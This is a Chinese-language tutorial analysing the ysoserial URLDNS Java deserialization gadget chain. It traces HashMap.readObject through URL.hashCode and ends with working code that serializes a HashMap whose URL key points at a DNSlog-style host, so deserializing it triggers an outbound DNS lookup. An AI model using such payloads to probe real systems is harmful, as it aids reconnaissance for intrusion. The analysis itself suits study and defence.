ysoserial URLDNS利用鏈分析

在分析URLDNS之前，必須瞭解JAVA序列化和反序列化的基本概念。其中幾個重要的概念：

需要讓某個對象支持序列化機制，就必須讓其類是可序列化，爲了讓某類可序列化的，該類就必須實現如下兩個接口之一：

Serializable：標記接口，沒有方法

Externalizable：該接口有方法需要實現，一般不用這種

 

序列化對象時，默認將裏面所有屬性都進行序列化，但除了static或transient修飾的成員。

序列化具備可繼承性，也就是如果某類已經實現了序列化，則它的所有子類也已經默認實現了序列化。

 

序列化和反序列化的類：

ObjectOutputStream：提供序列化功能

ObjectInputStream：提供反序列化功能

 

序列化方法：

.writeObject()

反序列化方法：

.readObject()

 

既然反序列化方法.readObject()，所以通常會在類中重寫該方法，爲實現反序列化的時候自動執行。

 

做個簡單測試：

public class Urldns implements Serializable {
    public static void main(String[] args) throws Exception {
        Urldns urldns = new Urldns();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("d:\\urldns.txt"));
        objectOutputStream.writeObject(urldns);
    }

    public void run(){
        System.out.println("urldns run");
    }

    private void readObject(ObjectInputStream s) throws IOException, ClassNotFoundException {
        System.out.println("urldns readObject");
        s.defaultReadObject();
    }
}

對這個測試類Urldns做序列化後，反序列化的時候執行了重寫的readobject方法。

import java.io.*;

public class Serializable_run implements Serializable{
    public void run(ObjectInputStream s) throws IOException, ClassNotFoundException {
        s.readObject();
    }

    public static void main(String[] args) throws Exception {
        Serializable_run serializable_run = new Serializable_run();
        serializable_run.run(new ObjectInputStream(new FileInputStream("d:\\urldns.txt")));
    }
}

所以只要對readobject方法做重寫就可以實現在反序列化該類的時候得到執行。

利用鏈的思路大致如此，那麼分析URLDNS的利用鏈。

public Object getObject(final String url) throws Exception {

                //Avoid DNS resolution during payload creation
                //Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.
                URLStreamHandler handler = new SilentURLStreamHandler();

                HashMap ht = new HashMap(); // HashMap that will contain the URL
                URL u = new URL(null, url, handler); // URL to use as the Key
                ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.

                Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.

                return ht;
        }

該類實際返回HashMap類型，但是HashMap用來用來存儲數據的數組是transient，序列化時忽略數據。

因爲HashMap重寫了writeobject方法，在writeobject實現了對數據的序列化。

還存在重寫readobject方法，那麼分析readobject中的內容。方法中遍歷key值執行putVal方法。

private void readObject(java.io.ObjectInputStream s)
        throws IOException, ClassNotFoundException {
        // Read in the threshold (ignored), loadfactor, and any hidden stuff
        s.defaultReadObject();
        reinitialize();
        if (loadFactor <= 0 || Float.isNaN(loadFactor))
            throw new InvalidObjectException("Illegal load factor: " +
                                             loadFactor);
        s.readInt();                // Read and ignore number of buckets
        int mappings = s.readInt(); // Read number of mappings (size)
        if (mappings < 0)
            throw new InvalidObjectException("Illegal mappings count: " +
                                             mappings);
        else if (mappings > 0) { // (if zero, use defaults)
            // Size the table using given load factor only if within
            // range of 0.25...4.0
            float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);
            float fc = (float)mappings / lf + 1.0f;
            int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
                       DEFAULT_INITIAL_CAPACITY :
                       (fc >= MAXIMUM_CAPACITY) ?
                       MAXIMUM_CAPACITY :
                       tableSizeFor((int)fc));
            float ft = (float)cap * lf;
            threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
                         (int)ft : Integer.MAX_VALUE);

            // Check Map.Entry[].class since it's the nearest public type to
            // what we're actually creating.
            SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, cap);
            @SuppressWarnings({"rawtypes","unchecked"})
            Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
            table = tab;

            // Read the keys and values, and put the mappings in the HashMap
            for (int i = 0; i < mappings; i++) {
                @SuppressWarnings("unchecked")
                    K key = (K) s.readObject();
                @SuppressWarnings("unchecked")
                    V value = (V) s.readObject();
                putVal(hash(key), key, value, false, false);
            }
        }
    }

觸發：

putVal(hash(key), key, value, false, false);

觸發：

static final int hash(Object key) {
    int h;
    return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

這裏的key對象如果是URL對象，那麼就

觸發：URL類中的hashCode方法

public synchronized int hashCode() {
    if (hashCode != -1)
        return hashCode;

    hashCode = handler.hashCode(this);
    return hashCode;
}

觸發DNS請求：

public synchronized int hashCode() {
        if (hashCode != -1)
            return hashCode;

        hashCode = handler.hashCode(this);
        return hashCode;
    }

 

protected synchronized InetAddress getHostAddress(URL u) {
        if (u.hostAddress != null)
            return u.hostAddress;

        String host = u.getHost();
        if (host == null || host.equals("")) {
            return null;
        } else {
            try {
                u.hostAddress = InetAddress.getByName(host);
            } catch (UnknownHostException ex) {
                return null;
            } catch (SecurityException se) {
                return null;
            }
        }
        return u.hostAddress;
    }

在hashCode=-1的時候，可以觸發DNS請求，而hashCode私有屬性默認值爲-1。

所以爲了實現readobject方法的DNS請求，接下來要做的是：

1、製造一個HashMap對象，且key值爲URL對象；

2、保持私有屬性hashcode爲-1；

所以構造DNS請求的HashMap對象內容應該是：

public class Urldns implements Serializable {
    public static void main(String[] args) throws Exception {
        HashMap map = new HashMap();
        URL url = new URL("http://ixw9i.8n6xsg.dnslogimalloc.xyz");
        Class<?> aClass = Class.forName("java.net.URL");
        Field hashCode = aClass.getDeclaredField("hashCode");
        hashCode.setAccessible(true);
        hashCode.set(url,1);
        map.put(url, "xzjhlk");
        hashCode.set(url,-1);
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("d:\\urldns.txt"));
        objectOutputStream.writeObject(map);
    }
}

至於爲什麼在序列化的時候要通過反射將url對象中的hashCode屬性稍微非-1，是因爲hashCode的put方法也實際調用的是putVal(hash(key), key, value, false, true);

這個過程將觸發一次DNS請求。